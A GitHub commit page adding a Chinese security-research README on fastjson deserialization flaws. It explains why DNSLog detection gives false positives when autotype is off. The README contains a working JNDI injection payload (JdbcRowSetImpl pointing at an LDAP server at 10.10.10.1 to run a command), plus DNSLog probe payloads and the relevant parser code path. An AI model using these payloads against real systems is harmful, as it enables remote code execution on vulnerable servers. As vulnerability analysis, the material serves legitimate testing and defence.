FazBrowse GitHub Viewer | Trending |
URL:
| Home
Tools: [Download Repo ZIP]   [Original HTTPS Page]

add "温故知新,分析dnslog检测fastjson为什么会存在误报的部分原因" · m0unta1ner/JavaSec@427901e · GitHub

Repository navigation

Commit 427901e

Browse files
authored
add "温故知新,分析dnslog检测fastjson为什么会存在误报的部分原因"
1 parent dcfbc26 commit 427901e

1 file changed

Lines changed: 147 additions & 0 deletions

File tree

‎alibaba fastjson/README.md‎

Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
前置基础
2+
---
3+
4+
相关漏洞
5+
---
6+
7+
### <= v1.2.24
8+
9+
pom.xml
10+
11+
```xml
12+
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
13+
<dependency>
14+
<groupId>com.alibaba</groupId>
15+
<artifactId>fastjson</artifactId>
16+
<version>1.2.24</version>
17+
</dependency>
18+
```
19+
20+
21+
22+
PayloadRunner.java
23+
24+
```java
25+
public class PayloadRunner {
26+
public static void main(String[] args) {
27+
String payload_v1_2_24 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://10.10.10.1:1389/Basic/Command/calc\",\"autoCommit\":true}";
28+
JSON.parseObject(payload_v1_2_24);
29+
}
30+
}
31+
```
32+
33+
34+
35+
*payloads* can be *generated* from within the `JNDIExploit.v1.2 `
36+
37+
- https://github.com/feihong-cs/
38+
39+
![image](https://user-images.githubusercontent.com/55024146/163208057-e33cde47-01a6-4f8a-b2d5-260dc523dbd9.png)
40+
41+
42+
### v1.2.25
43+
44+
pom.xml
45+
46+
```xml
47+
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
48+
<dependency>
49+
<groupId>com.alibaba</groupId>
50+
<artifactId>fastjson</artifactId>
51+
<version>1.2.25</version>
52+
</dependency>
53+
```
54+
55+
56+
57+
```java
58+
String payload_v1_2_24 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://10.10.10.1:1389/Basic/Command/calc\",\"autoCommit\":true}";
59+
```
60+
61+
62+
63+
**弹计算器-失败**
64+
65+
66+
![image](https://user-images.githubusercontent.com/55024146/163208138-e5c67f9b-7669-4102-9b8d-195c35ccbe51.png)
67+
68+
原因
69+
70+
- 默认关闭了autotype支持,并且加入了checkAutotype
71+
72+
![image](https://user-images.githubusercontent.com/55024146/163208367-c0e3820b-aaf9-48b7-813e-5bfc1ee6d3c0.png)
73+
74+
新增黑名单
75+
76+
![image](https://user-images.githubusercontent.com/55024146/163208421-b1bccff5-0939-4636-8e46-31013f7ab122.png)
77+
78+
79+
**DNSLog-成功**
80+
81+
82+
```java
83+
String payload_dnslog = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"t6dwta.dnslog.cn\"}";
84+
```
85+
86+
- 为什么会成功?
87+
88+
- 这或许可以回答为什么很多渗透测试项目中遇到fastjson并成功dns回显,但是却利用失败的部分情况
89+
- autotype = false
90+
91+
- 如何利用dns精确检测呢?
92+
93+
- ```java
94+
[{"@type":"java.net.CookiePolicy"},{"@type":"java.net.Inet4Address","val":"ydk3cz.dnslog.cn"}]
95+
```
96+
97+
因为目标环境没开启 autotype -> 前面部分会报错 -> 后面部分不会被执行 -> 失败
98+
99+
- ```java
100+
# 开启AutoTypeSupport
101+
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
102+
```
103+
104+
此时已开启 autotype -> dnslog成功回显
105+
106+
![image](https://user-images.githubusercontent.com/55024146/163208304-18244148-c2f5-4064-9830-0e9649d307d1.png)
107+
108+
109+
> 分析 `为什么没有开启autotype,仍然可以进行dns解析?`
110+
111+
112+
跟踪到 `com.alibaba.fastjson.parser.ParserConfig#checkAutoType`时,有这样一段代码
113+
```java
114+
try {
115+
return InetAddress.getByName(strVal);
116+
} catch (UnknownHostException var10) {
117+
throw new JSONException("deserialize inet adress error", var10);
118+
}
119+
```
120+
121+
![image](https://user-images.githubusercontent.com/55024146/163209617-febfa0d4-fd10-4f9d-8bbd-984a204a7117.png)
122+
123+
- 取到了 java.net.Inet4Address
124+
125+
而在跟进到 `com.alibaba.fastjson.serializer.MiscCodec#deserialze`,经过一些判断后,调用了 `InetAddress.getByName()` 进行DNS解析。
126+
127+
![image](https://user-images.githubusercontent.com/55024146/163210134-09eccf77-8f35-464a-a1a9-99473a1338e8.png)
128+
129+
130+
调用栈
131+
```
132+
getByName:1076, InetAddress (java.net)
133+
deserialze:301, MiscCodec (com.alibaba.fastjson.serializer)
134+
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
135+
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
136+
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
137+
parse:137, JSON (com.alibaba.fastjson)
138+
parse:128, JSON (com.alibaba.fastjson)
139+
parseObject:201, JSON (com.alibaba.fastjson)
140+
main:26, PayloadRunner (Deserialization.Fastjson)
141+
```
142+
143+
144+
145+
利用研究
146+
---
147+

0 commit comments

Comments
 (0)

Back | FazBrowse Home | New Git URL